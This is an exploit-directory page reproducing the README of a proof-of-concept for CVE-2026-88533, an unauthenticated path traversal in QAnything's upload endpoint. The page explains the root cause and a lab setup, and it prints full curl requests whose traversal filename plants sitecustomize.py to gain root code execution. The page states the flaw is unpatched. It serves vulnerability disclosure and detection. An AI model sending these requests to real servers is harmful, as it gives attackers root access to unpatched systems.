Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/hemlock-lyk/cve-2026-88533
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

PoC and lab reproduction for CVE-2026-88533, an unauthenticated arbitrary file write leading to root RCE in QAnything via path traversal in the upload endpoint.

View Repository
110h 28m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-88533: Unauthenticated Arbitrary File Write → Root RCE in QAnything

CVE ID: CVE-2026-88533 (assigned by MITRE, record publication pending) Product: QAnything by netease-youdao — open-source RAG / knowledge-base QA platform Affected: v1.4.x through v2.0.0 (default branch qanything-v2, through final commit 65de104) Fixed version: none — project unmaintained since 2025-03-12; the only sanitization fix (PR #483) lives on the legacy master branch and was never merged into qanything-v2 Weakness: CWE-22 Path Traversal Impact: Unauthenticated arbitrary file creation → Remote Code Execution as uid=0(root) Discoverer: Yankui Li


Summary

The file upload endpoint POST /api/local_doc_qa/upload_files takes the attacker-controlled multipart and uses it as the destination path without sanitizing path separators. expands back to , full-width character filtering and length truncation leave and absolute paths intact, and . The resulting writes attacker-controlled content anywhere the process can reach — inside a container by default.

filename
urllib.parse.unquote()
%2f
/
../
os.path.join(base, name)
discards the base entirely when name is absolute
open(file_location, "wb")
root

Because the product requires no authentication anywhere (user_id/user_info are plain request parameters), any network-reachable instance accepts this anonymously.

Root cause

root@kitploit:~
handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # cosmetic only
              ──►  truncate_filename()              # length cap, no "/" or ".." filtering

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # absolute name → base discarded
    open(file_location, "wb")                           # arbitrary write

Two properties make this reliably exploitable:

  1. Absolute paths work directly — no ../ counting needed.
  2. Relative traversal works too — %2e%2e%2f survives because unquote runs before any filter.

A hardening contrast inside the same codebase: the upload_faqs endpoint replaces / with _ in filenames. upload_files never got that treatment, making it the single write vector.

Note: LocalFile.__init__ has an if not os.path.exists(file_location) guard, so only new files can be created — existing files cannot be overwritten. Exploitation therefore targets new files at executable locations.

From arbitrary write to root RCE

The official Docker image runs the Python backend as root. CPython automatically imports sitecustomize.py from site-packages at interpreter startup — a fresh file dropped at:

root@kitploit:~
usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ relative, or absolute path) is imported the next time the backend starts, executing attacker code as uid=0(root).

Why site-packages and not the app directory? CPython runs site.py before inserting sys.path[0], so a sitecustomize.py next to the entry script is not auto-imported. site-packages is the only reliable drop zone.

Other vectors were tested and ruled out (documented for completeness):

  • /etc/cron.d/ — directory exists and accepts writes, but the image ships no cron daemon, so nothing ever executes the payload.
  • Overwriting existing config/code files — blocked by the exists guard.

Lab reproduction

Official image + pinned vulnerable source (commit 65de104):

root@kitploit:~
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

PoC usage (zero dependencies, Python 3 stdlib only)

The PoC script ships in this repository (poc_qanything_cve_2026_88533.py) — every evidence item below was produced by running it against the lab stack above. Clone and reproduce the exact output yourself:

root@kitploit:~
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full restarts the target container once (documented behavior; the CPython import fires on startup). Everything ships safe by default: no reverse shell, no destructive payload — the demo payload writes a marker file containing the output of id.

What the attack traffic looks like

The entire attack is two HTTP POSTs; this is what detection content should match on (the multipart filename carrying an absolute path or ..//%2f sequences is the key signal):

root@kitploit:~
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

Evidence

All evidence below is the actual terminal output of poc_qanything_cve_2026_88533.py (the script in this repository) run against the lab stack built from docker-compose-lab.yaml. No step was faked or simulated — the script exits non-zero unless every check passes, so you can verify the chain end-to-end yourself.

Lab stack — official image + minimal dependencies, all containers healthy:

Lab stack

--mode check — unauthenticated write primitive confirmed: the marker was written outside the upload dir via an absolute-path multipart filename and read back from inside the container:

Check mode

--mode full — after the container restart, CPython auto-imports the planted sitecustomize.py; the payload's marker proves execution as uid=0(root):

Full chain

The complete terminal transcript of the --mode full run shown above is also included, verbatim: evidence/full-chain-run-2026-09-18.log — 6/6 checks [OK], verdict RCE CONFIRMED, payload marker proving uid=0(root) with a timestamp (the nonce/kb_id values in the log are randomly generated per run, so your own run will differ — that is expected).

A screenshot of the CVE record page will be added once the record is published.

Timeline

DateEvent
2026-08-25Vulnerability discovered; write primitive verified against a live instance (harmless marker + read-back)
2026-08-29Full RCE chain reproduced in an isolated local lab; report written; submitted to MITRE (CNA-LR) via cveform
2026-09-18CVE-2026-88533 assigned by MITRE
TBDCVE record published; this repository and a detailed write-up released

Disclaimer

This material is published for defensive research and educational purposes. Use only against systems you own or have explicit written authorization to test. See DISCLAIMER.md.

Download Tool